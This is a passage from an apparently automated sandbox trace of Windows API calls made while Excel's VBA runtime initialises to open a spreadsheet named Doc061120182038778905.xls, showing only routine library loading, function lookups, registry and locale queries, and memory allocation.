lpProcName="MsoHrSimpleQueryInterface") returned 0x7fee5a47b80 [0089.436] GetProcAddress (hModule=0x7fee5a40000, lpProcName="MsoHrSimpleQueryInterface2") returned 0x7fee5a47b20 [0089.437] GetProcAddress (hModule=0x7fee5a40000, lpProcName="MsoFCreateControl") returned 0x7fee5a48730 [0089.437] GetProcAddress (hModule=0x7fee5a40000, lpProcName="MsoFLongLoad") returned 0x7fee5b83260 [0089.438] GetProcAddress (hModule=0x7fee5a40000, lpProcName="MsoFLongSave") returned 0x7fee5b83280 [0089.438] GetProcAddress (hModule=0x7fee5a40000, lpProcName="MsoFGetTooltips") returned 0x7fee5a51f40 [0089.439] GetProcAddress (hModule=0x7fee5a40000, lpProcName="MsoFSetTooltips") returned 0x7fee5ab6370 [0089.439] GetProcAddress (hModule=0x7fee5a40000, lpProcName="MsoFLoadToolbarSet") returned 0x7fee5aa4590 [0089.440] GetProcAddress (hModule=0x7fee5a40000, lpProcName="MsoFCreateToolbarSet") returned 0x7fee5a455b0 [0089.441] GetProcAddress (hModule=0x7fee5a40000, lpProcName="MsoHpalOffice") returned 0x7fee5a50240 [0089.441] GetProcAddress (hModule=0x7fee5a40000, lpProcName="MsoFWndProcNeeded") returned 0x7fee5a43d10 [0089.442] GetProcAddress (hModule=0x7fee5a40000, lpProcName="MsoFWndProc") returned 0x7fee5a46d30 [0089.443] GetProcAddress (hModule=0x7fee5a40000, lpProcName="MsoFCreateITFCHwnd") returned 0x7fee5a43d40 [0089.444] GetProcAddress (hModule=0x7fee5a40000, lpProcName="MsoDestroyITFC") returned 0x7fee5a4e6f0 [0089.444] GetProcAddress (hModule=0x7fee5a40000, lpProcName="MsoFPitbsFromHwndAndMsg") returned 0x7fee5a4df40 [0089.445] GetProcAddress (hModule=0x7fee5a40000, lpProcName="MsoFGetComponentManager") returned 0x7fee5a47bf0 [0089.445] GetProcAddress (hModule=0x7fee5a40000, lpProcName="MsoMultiByteToWideChar") returned 0x7fee5a4fcd0 [0089.446] GetProcAddress (hModule=0x7fee5a40000, lpProcName="MsoWideCharToMultiByte") returned 0x7fee5a48b20 [0089.446] GetProcAddress (hModule=0x7fee5a40000, lpProcName="MsoHrRegisterAll") returned 0x7fee5b42ef0 [0089.447] GetProcAddress (hModule=0x7fee5a40000, lpProcName="MsoFSetComponentManager") returned 0x7fee5a542c0 [0089.447] GetProcAddress (hModule=0x7fee5a40000, lpProcName="MsoFCreateStdComponentManager") returned 0x7fee5a43e20 [0089.448] GetProcAddress (hModule=0x7fee5a40000, lpProcName="MsoFHandledMessageNeeded") returned 0x7fee5a4ab10 [0089.448] GetProcAddress (hModule=0x7fee5a40000, lpProcName="MsoPeekMessage") returned 0x7fee5a4a7d0 [0089.449] GetProcAddress (hModule=0x7fee5a40000, lpProcName="MsoFCreateIPref") returned 0x7fee5a41550 [0089.450] GetProcAddress (hModule=0x7fee5a40000, lpProcName="MsoDestroyIPref") returned 0x7fee5a4e830 [0089.451] GetProcAddress (hModule=0x7fee5a40000, lpProcName="MsoChsFromLid") returned 0x7fee5a413d0 [0089.451] GetProcAddress (hModule=0x7fee5a40000, lpProcName="MsoCpgFromChs") returned 0x7fee5a46660 [0089.452] GetProcAddress (hModule=0x7fee5a40000, lpProcName="MsoSetLocale") returned 0x7fee5a41500 [0089.452] GetProcAddress (hModule=0x7fee5a40000, lpProcName="MsoFSetHMsoinstOfSdm") returned 0x7fee5a43dd0 [0089.453] GetProcAddress (hModule=0x7fee5a40000, lpProcName="MsoSetVbaInterfaces") returned 0x7fee5b471e0 [0089.453] GetProcAddress (hModule=0x7fee5a40000, lpProcName="MsoGetControlInstanceId") returned 0x7fee5b16d10 [0089.454] GetProcAddress (hModule=0x7fee5a40000, lpProcName="VbeuiFIsEdpEnabled") returned 0x7fee5b898e0 [0089.454] GetProcAddress (hModule=0x7fee5a40000, lpProcName="VbeuiEnterpriseProtect") returned 0x7fee5b89830 [0089.458] GetEnvironmentVariableA (in: lpName="DDRYBUR", lpBuffer=0x230320, nSize=0x118 | out: lpBuffer="\xaf\x01") returned 0x0 [0089.458] SetErrorMode (uMode=0x8001) returned 0x8001 [0089.458] GetModuleFileNameA (in: hModule=0x7fee5ce0000, lpFilename=0x230030, nSize=0x104 | out: lpFilename="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7.1\\vbe7.dll")) returned 0x42 [0089.458] lstrcpyA (in: lpString1=0x22ff20, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\" [0089.458] lstrcpyA (in: lpString1=0x22ff20, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\" [0089.458] lstrcpyA (in: lpString1=0x22ff20, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\" [0089.458] lstrcpyA (in: lpString1=0x22ff20, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\" [0089.458] lstrcpyA (in: lpString1=0x22ff20, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\" [0089.458] lstrcpyA (in: lpString1=0x22ff20, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\" [0089.458] strcpy_s (in: _Dst=0x230140, _DstSize=0x200, _Src="VBE7INTL.DLL" | out: _Dst="VBE7INTL.DLL") returned 0x0 [0089.458] _ultoa_s (in: _Val=0x409, _DstBuf=0x22fca0, _Size=0x6, _Radix=10 | out: _DstBuf="1033") returned 0x0 [0089.458] strcat_s (in: _Destination="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\", _SizeInBytes=0x104, _Source="1033" | out: _Destination="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1033") returned 0x0 [0089.458] strcat_s (in: _Destination="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1033", _SizeInBytes=0x104, _Source="\\" | out: _Destination="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1033\\") returned 0x0 [0089.459] strcat_s (in: _Destination="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1033\\", _SizeInBytes=0x104, _Source="VBE7INTL.DLL" | out: _Destination="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1033\\VBE7INTL.DLL") returned 0x0 [0089.459] lstrlenA (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1033\\VBE7INTL.DLL") returned 75 [0089.459] CharToOemBuffA (in: lpszSrc="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1033\\VBE7INTL.DLL", lpszDst=0x22fb50, cchDstLength=0x4c | out: lpszDst="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1033\\VBE7INTL.DLL") returned 1 [0089.459] _access_s (_FileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1033\\VBE7INTL.DLL", _AccessMode=0) returned 0x0 [0089.461] strcpy_s (in: _Dst=0x22fdd0, _DstSize=0x104, _Src="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1033\\VBE7INTL.DLL" | out: _Dst="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1033\\VBE7INTL.DLL") returned 0x0 [0089.462] LoadLibraryA (lpLibFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1033\\VBE7INTL.DLL") returned 0x7fee5a10000 [0089.467] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1001b25d00000abe) returned 1 [0089.467] GetSystemDefaultLCID () returned 0x409 [0089.467] GetUserDefaultLCID () returned 0x409 [0089.467] GetLocaleInfoA (in: Locale=0x400, LCType=0xe, lpLCData=0x230460, cchData=2 | out: lpLCData=".") returned 2 [0089.467] GetStockObject (i=13) returned 0x18a002e [0089.467] GetObjectA (in: h=0x18a002e, c=60, pv=0x230400 | out: pv=0x230400) returned 60 [0089.467] lstrcpyA (in: lpString1=0x7fee60c1b70, lpString2="Vbui6.chm" | out: lpString1="Vbui6.chm") returned="Vbui6.chm" [0089.467] lstrcpyA (in: lpString1=0x7fee60c0b40, lpString2="VbLR6.chm" | out: lpString1="VbLR6.chm") returned="VbLR6.chm" [0089.468] GetModuleFileNameA (in: hModule=0x7fee5ce0000, lpFilename=0x2304a0, nSize=0x104 | out: lpFilename="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7.1\\vbe7.dll")) returned 0x42 [0089.469] lstrlenA (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL") returned 66 [0089.469] lstrcpyA (in: lpString1=0xe47c4e0, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL" [0089.469] GetCurrentDirectoryA (in: nBufferLength=0x104, lpBuffer=0x230330 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19 [0089.469] GetVersionExA (in: lpVersionInformation=0x230390*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x0, dwMinorVersion=0x1, dwBuildNumber=0x0, dwPlatformId=0x43, szCSDVersion="") | out: lpVersionInformation=0x230390*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0089.469] RegOpenKeyA (in: hKey=0xffffffff80000000, lpSubKey="Licenses", phkResult=0x2302b8 | out: phkResult=0x2302b8*=0xd2a) returned 0x0 [0089.470] strcpy_s (in: _Dst=0x2302c0, _DstSize=0x80, _Src="8804558B-B773-11d1-BC3E-0000F87552E7" | out: _Dst="8804558B-B773-11d1-BC3E-0000F87552E7") returned 0x0 [0089.470] strcpy_s (in: _Dst=0x230340, _DstSize=0xc8, _Src="8804558B-B773-11d1-BC3E-0000F87552E7" | out: _Dst="8804558B-B773-11d1-BC3E-0000F87552E7") returned 0x0 [0089.470] _strrev (in: _Str="8804558B-B773-11d1-BC3E-0000F87552E7" | out: _Str="7E25578F0000-E3CB-1d11-377B-B8554088") returned="7E25578F0000-E3CB-1d11-377B-B8554088" [0089.470] RegQueryValueA (in: hKey=0xd2a, lpSubKey="8804558B-B773-11d1-BC3E-0000F87552E7", lpData=0x230340, lpcbData=0x2302b0 | out: lpData="\x0f}\x02\x01", lpcbData=0x2302b0) returned 0x2 [0089.470] RegCloseKey (hKey=0xd2a) returned 0x0 [0089.470] OleInitialize (pvReserved=0x0) returned 0x1 [0089.470] OaBuildVersion () returned 0x321396 [0089.470] LoadLibraryA (lpLibFileName="OLEAUT32.DLL") returned 0x7feffd80000 [0089.471] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1001b25d00000abf) returned 1 [0089.471] GetLastError () returned 0x0 [0089.472] GetProcAddress (hModule=0x7feffd80000, lpProcName="SysFreeString") returned 0x7feffd81320 [0089.473] GetProcAddress (hModule=0x7feffd80000, lpProcName="LoadTypeLib") returned 0x7feffd8f1e0 [0089.474] GetProcAddress (hModule=0x7feffd80000, lpProcName="RegisterTypeLib") returned 0x7feffddcaa0 [0089.474] GetProcAddress (hModule=0x7feffd80000, lpProcName="QueryPathOfRegTypeLib") returned 0x7feffe11760 [0089.475] GetProcAddress (hModule=0x7feffd80000, lpProcName="UnRegisterTypeLib") returned 0x7feffe120d0 [0089.475] GetProcAddress (hModule=0x7feffd80000, lpProcName="OleTranslateColor") returned 0x7feffdac760 [0089.476] GetProcAddress (hModule=0x7feffd80000, lpProcName="OleCreateFontIndirect") returned 0x7feffddecd0 [0089.476] GetProcAddress (hModule=0x7feffd80000, lpProcName="OleCreatePictureIndirect") returned 0x7feffdde840 [0089.477] GetProcAddress (hModule=0x7feffd80000, lpProcName="OleLoadPicture") returned 0x7feffdef420 [0089.478] GetProcAddress (hModule=0x7feffd80000, lpProcName="OleCreatePropertyFrameIndirect") returned 0x7feffde4ec0 [0089.478] GetProcAddress (hModule=0x7feffd80000, lpProcName="OleCreatePropertyFrame") returned 0x7feffde9350 [0089.479] GetProcAddress (hModule=0x7feffd80000, lpProcName="OleIconToCursor") returned 0x7feffdb6e40 [0089.479] GetProcAddress (hModule=0x7feffd80000, lpProcName="LoadTypeLibEx") returned 0x7feffd8a550 [0089.480] GetProcAddress (hModule=0x7feffd80000, lpProcName="OleLoadPictureEx") returned 0x7feffdef320 [0089.480] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0089.480] LoadCursorA (hInstance=0x0, lpCursorName=0x7f02) returned 0x10007 [0089.480] GetClassInfoA (in: hInstance=0x7fee5ce0000, lpClassName="VBBubble", lpWndClass=0x2303f0 | out: lpWndClass=0x2303f0) returned 0 [0089.480] RegisterClassA (lpWndClass=0x2303f0) returned 0x95b704fcc1bb [0089.480] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1001b25d00000ac0) returned 1 [0089.480] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Count") returned 0x107630 [0089.480] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="_Default") returned 0x10c26a [0089.480] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Item") returned 0x107ad7 [0089.480] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Add") returned 0x1072f7 [0089.481] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Remove") returned 0x10b1cf [0089.481] GlobalAddAtomA (lpString="VBDisabled") returned 0x95b804fcc137 [0089.481] RegisterClassExA (param_1=0x230510) returned 0x95bb0ba0c1bc [0089.481] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1001b25d00000ac1) returned 1 [0089.482] CreateWindowExA (dwExStyle=0x80, lpClassName="ThunderMain", lpWindowName=0x0, dwStyle=0x80000000, X=-2147483648, Y=-2147483648, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x7fee5ce0000, lpParam=0x0) returned 0x202b0 [0089.489] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1001b25d00000ac2) returned 1 [0089.489] GetVersionExA (in: lpVersionInformation=0x230300*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x230300*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0089.490] GetModuleHandleA (lpModuleName="USER32") returned 0x77a20000 [0089.491] GetProcAddress (hModule=0x77a20000, lpProcName="GetSystemMetrics") returned 0x77a394f0 [0089.491] GetProcAddress (hModule=0x77a20000, lpProcName="MonitorFromWindow") returned 0x77a35f08 [0089.492] GetProcAddress (hModule=0x77a20000, lpProcName="MonitorFromRect") returned 0x77a32b00 [0089.492] GetProcAddress (hModule=0x77a20000, lpProcName="MonitorFromPoint") returned 0x77a2ab64 [0089.493] GetProcAddress (hModule=0x77a20000, lpProcName="EnumDisplayMonitors") returned 0x77a35c30 [0089.493] GetProcAddress (hModule=0x77a20000, lpProcName="GetMonitorInfoA") returned 0x77a2a730 [0089.494] GetProcAddress (hModule=0x77a20000, lpProcName="EnumDisplayDevicesA") returned 0x77a2a5b4 [0089.494] MonitorFromWindow (hwnd=0x202b0, dwFlags=0x2) returned 0x10001 [0089.494] GetMonitorInfoA (in: hMonitor=0x10001, lpmi=0x230510 | out: lpmi=0x230510) returned 1 [0089.494] SetWindowPos (hWnd=0x202b0, hWndInsertAfter=0x0, X=720, Y=450, cx=0, cy=0, uFlags=0x1d) returned 1 [0089.495] GetVersion () returned 0x1db10106 [0089.495] GetModuleHandleA (lpModuleName="oleaut32.dll") returned 0x7feffd80000 [0089.496] GetProcAddress (hModule=0x7feffd80000, lpProcName="DispCallFunc") returned 0x7feffd82270 [0089.497] GetProcAddress (hModule=0x7feffd80000, lpProcName="LoadTypeLibEx") returned 0x7feffd8a550 [0089.497] GetProcAddress (hModule=0x7feffd80000, lpProcName="UnRegisterTypeLib") returned 0x7feffe120d0 [0089.498] GetProcAddress (hModule=0x7feffd80000, lpProcName="CreateTypeLib2") returned 0x7feffe0dbd0 [0089.498] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarDateFromUdate") returned 0x7feffd85c90 [0089.499] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarUdateFromDate") returned 0x7feffd86330 [0089.500] GetProcAddress (hModule=0x7feffd80000, lpProcName="GetAltMonthNames") returned 0x7feffda66c0 [0089.500] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarNumFromParseNum") returned 0x7feffd84710 [0089.501] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarParseNumFromStr") returned 0x7feffd848f0 [0089.501] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarDecFromR4") returned 0x7feffdbb640 [0089.502] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarDecFromR8") returned 0x7feffdbb360 [0089.502] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarDecFromDate") returned 0x7feffdc2640 [0089.503] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarDecFromI4") returned 0x7feffda58a0 [0089.503] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarDecFromCy") returned 0x7feffda5820 [0089.504] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarR4FromDec") returned 0x7feffdbaf20 [0089.505] GetProcAddress (hModule=0x7feffd80000, lpProcName="GetRecordInfoFromTypeInfo") returned 0x7feffdda0c0 [0089.505] GetProcAddress (hModule=0x7feffd80000, lpProcName="GetRecordInfoFromGuids") returned 0x7feffe12160 [0089.506] GetProcAddress (hModule=0x7feffd80000, lpProcName="SafeArrayGetRecordInfo") returned 0x7feffda5af0 [0089.507] GetProcAddress (hModule=0x7feffd80000, lpProcName="SafeArraySetRecordInfo") returned 0x7feffda5a90 [0089.507] GetProcAddress (hModule=0x7feffd80000, lpProcName="SafeArrayGetIID") returned 0x7feffda5a60 [0089.508] GetProcAddress (hModule=0x7feffd80000, lpProcName="SafeArraySetIID") returned 0x7feffda5a30 [0089.508] GetProcAddress (hModule=0x7feffd80000, lpProcName="SafeArrayCopyData") returned 0x7feffd860b0 [0089.509] GetProcAddress (hModule=0x7feffd80000, lpProcName="SafeArrayAllocDescriptorEx") returned 0x7feffd83e90 [0089.509] GetProcAddress (hModule=0x7feffd80000, lpProcName="SafeArrayCreateEx") returned 0x7feffdd9f80 [0089.510] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarFormat") returned 0x7feffe09b20 [0089.511] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarFormatDateTime") returned 0x7feffe09aa0 [0089.511] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarFormatNumber") returned 0x7feffe09990 [0089.512] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarFormatPercent") returned 0x7feffe09890 [0089.512] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarFormatCurrency") returned 0x7feffe09770 [0089.513] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarWeekdayName") returned 0x7feffdeb8d0 [0089.513] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarMonthName") returned 0x7feffdeb800 [0089.514] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarAdd") returned 0x7feffe048e0 [0089.515] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarAnd") returned 0x7feffe09470 [0089.515] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarCat") returned 0x7feffe096a0 [0089.516] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarDiv") returned 0x7feffe02fe0 [0089.516] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarEqv") returned 0x7feffe09cf0 [0089.517] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarIdiv") returned 0x7feffe08ff0 [0089.517] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarImp") returned 0x7feffe09c00 [0089.518] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarMod") returned 0x7feffe08e60 [0089.518] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarMul") returned 0x7feffe03690 [0089.519] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarOr") returned 0x7feffe092d0 [0089.520] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarPow") returned 0x7feffe02e80 [0089.520] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarSub") returned 0x7feffe03f90 [0089.521] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarXor") returned 0x7feffe091a0 [0089.522] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarAbs") returned 0x7feffde7c30 [0089.522] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarFix") returned 0x7feffde7a60 [0089.523] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarInt") returned 0x7feffde7890 [0089.523] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarNeg") returned 0x7feffde7ea0 [0089.524] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarNot") returned 0x7feffe09600 [0089.525] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarRound") returned 0x7feffde76a0 [0089.525] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarCmp") returned 0x7feffe083f0 [0089.526] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarDecAdd") returned 0x7feffdb3070 [0089.526] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarDecCmp") returned 0x7feffdbd700 [0089.527] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarBstrCat") returned 0x7feffdbd890 [0089.527] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarCyMulI4") returned 0x7feffd9caf0 [0089.528] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarBstrCmp") returned 0x7feffda8a00 [0089.530] IMalloc:Alloc (This=0x7feffc15380, cb=0x20) returned 0xb8b9720 [0089.530] GetUserDefaultLCID () returned 0x409 [0089.544] IMalloc:Alloc (This=0x7feffc15380, cb=0x3c) returned 0x6e23d20 [0089.544] IMalloc:Alloc (This=0x7feffc15380, cb=0x38) returned 0x7351a80 [0089.545] IMalloc:Alloc (This=0x7feffc15380, cb=0x20000*=0x78746341) returned 0xb8dbc70 [0089.546] IMalloc:Alloc (This=0x7feffc15380, cb=0x20) returned 0xb8b96f0 [0089.551] IMalloc:Alloc (This=0x7feffc15380, cb=0x7d8) returned 0x7094980 [0089.552] IMalloc:Alloc (This=0x7feffc15380, cb=0x98) returned 0x73a4f10 [0089.552] IMalloc:Alloc (This=0x7feffc15380, cb=0x20) returned 0xb8b98d0 [0089.553] IMalloc:Alloc (This=0x7feffc15380, cb=0x28) returned 0xb8b9810 [0089.561] lstrcmpiW (lpString1="C:\\Users\\aETAdzjz\\Desktop\\Doc061120182038778905.xls", lpString2="") returned 1 [0089.561] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\aETAdzjz\\Desktop\\Doc061120182038778905.xls", cchWideChar=-1, lpMultiByteStr=0x230ab0, cbMultiByte=103, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\aETAdzjz\\Desktop\\Doc061120182038778905.xls", lpUsedDefaultChar=0x0) returned 52 [0089.561] lstrlenA (lpString="C:\\Users\\aETAdzjz\\Desktop\\Doc061120182038778905.xls") returned 51 [0089.561] lstrcpyA (in: lpString1=0xe47c750, lpString2="C:\\Users\\aETAdzjz\\Desktop\\Doc061120182038778905.xls" | out: lpString1="C:\\Users\\aETAdzjz\\Desktop\\Doc061120182038778905.xls") returned="C:\\Users\\aETAdzjz\\Desktop\\Doc061120182038778905.xls" [0089.561] SetCursor (hCursor=0x10007) returned 0x10007 [0089.562] GetCurrentThreadId () returned 0x8fc [0089.562] GetCurrentThreadId () returned 0x8fc [0089.563] IMalloc:Alloc (This=0x7feffc15380, cb=0x4) returned 0x24c1fa0 [0089.564] IMalloc:Alloc (This=0x7feffc15380, cb=0xf0) returned 0xb7f0600 [0089.564] IMalloc:Alloc (This=0x7feffc15380, cb=0x80) returned 0xb61ace0 [0089.564] IMalloc:Alloc (This=0x7feffc15380, cb=0x280) returned 0x72cabc0 [0089.565] IMalloc:Alloc (This=0x7feffc15380, cb=0xa08) returned 0xb88d300 [0089.566] IMalloc:Alloc (This=0x7feffc15380, cb=0x1738) returned 0xb8cc370 [0089.566] GetLocalTime (in: lpSystemTime=0x2302b8 | out: lpSystemTime=0x2302b8*(wYear=0x7e2, wMonth=0xb, wDayOfWeek=0x2, wDay=0x6, wHour=0xa, wMinute=0x18, wSecond=0x3, wMilliseconds=0x30)) [0089.566] _ultow_s (in: _Value=0x5dbeaac3, _Buffer=0x72cabea, _BufferCount=0x103, _Radix=16 | out: _Buffer="5dbeaac3") returned 0x0 [0089.566] wcsncpy_s (in: _Destination=0x22ff80, _SizeInWords=0x108, _Source="*\\Z005dbeaac3", _MaxCount=0x106 | out: _Destination="*\\Z005dbeaac3") returned 0x0 [0089.566] CharLowerBuffW (in: lpsz="*\\Z005dbeaac3", cchLength=0xd | out: lpsz="*\\z005dbeaac3") returned 0xd [0089.566] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z005dbeaac3", cchWideChar=14, lpMultiByteStr=0x22feb0, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z005dbeaac3", lpUsedDefaultChar=0x0) returned 14 [0089.566] wcscpy_s (in: _Destination=0xb61ad00, _SizeInWords=0xe, _Source="*\\Z005dbeaac3" | out: _Destination="*\\Z005dbeaac3") returned 0x0 [0089.566] wcsncpy_s (in: _Destination=0x22ffc0, _SizeInWords=0x108, _Source="*\\Z005dbeaac3", _MaxCount=0x106 | out: _Destination="*\\Z005dbeaac3") returned 0x0 [0089.566] CharLowerBuffW (in: lpsz="*\\Z005dbeaac3", cchLength=0xd | out: lpsz="*\\z005dbeaac3") returned 0xd [0089.566] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z005dbeaac3", cchWideChar=14, lpMultiByteStr=0x22fef0, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z005dbeaac3", lpUsedDefaultChar=0x0) returned 14 [0089.568] lstrcpyA (in: lpString1=0xe47c790, lpString2="C:\\Users\\aETAdzjz\\Desktop\\Doc061120182038778905.xls" | out: lpString1="C:\\Users\\aETAdzjz\\Desktop\\Doc061120182038778905.xls") returned="C:\\Users\\aETAdzjz\\Desktop\\Doc061120182038778905.xls" [0089.568] lstrcpyA (in: lpString1=0xe47c790, lpString2="C:\\Users\\aETAdzjz\\Desktop\\Doc061120182038778905.xls" | out: lpString1="C:\\Users\\aETAdzjz\\Desktop\\Doc061120182038778905.xls") returned="C:\\Users\\aETAdzjz\\Desktop\\Doc061120182038778905.xls" [0089.568] lstrcpyA (in: lpString1=0xe47c790, lpString2="C:\\Users\\aETAdzjz\\Desktop\\Doc061120182038778905.xls" | out: lpString1="C:\\Users\\aETAdzjz\\Desktop\\Doc061120182038778905.xls") returned="C:\\Users\\aETAdzjz\\Desktop\\Doc061120182038778905.xls" [0089.568] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xe47c790, cbMultiByte=-1, lpWideCharStr=0x230920, cchWideChar=52 | out: lpWideCharStr="C:\\Users\\aETAdzjz\\Desktop\\Doc061120182038778905.xls") returned 52 [0089.568] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0089.568] wcscpy_s (in: _Destination=0x2306c6, _SizeInWords=0x105, _Source="C:\\Users\\aETAdzjz\\Desktop\\Doc061120182038778905.xls" | out: _Destination="C:\\Users\\aETAdzjz\\Desktop\\Doc061120182038778905.xls") returned 0x0 [0089.568] wcsncpy_s (in: _Destination=0x2302e0, _SizeInWords=0x108, _Source="*\\Z005dbeaac3", _MaxCount=0x106 | out: _Destination="*\\Z005dbeaac3") returned 0x0 [0089.569] CharLowerBuffW (in: lpsz="*\\Z005dbeaac3", 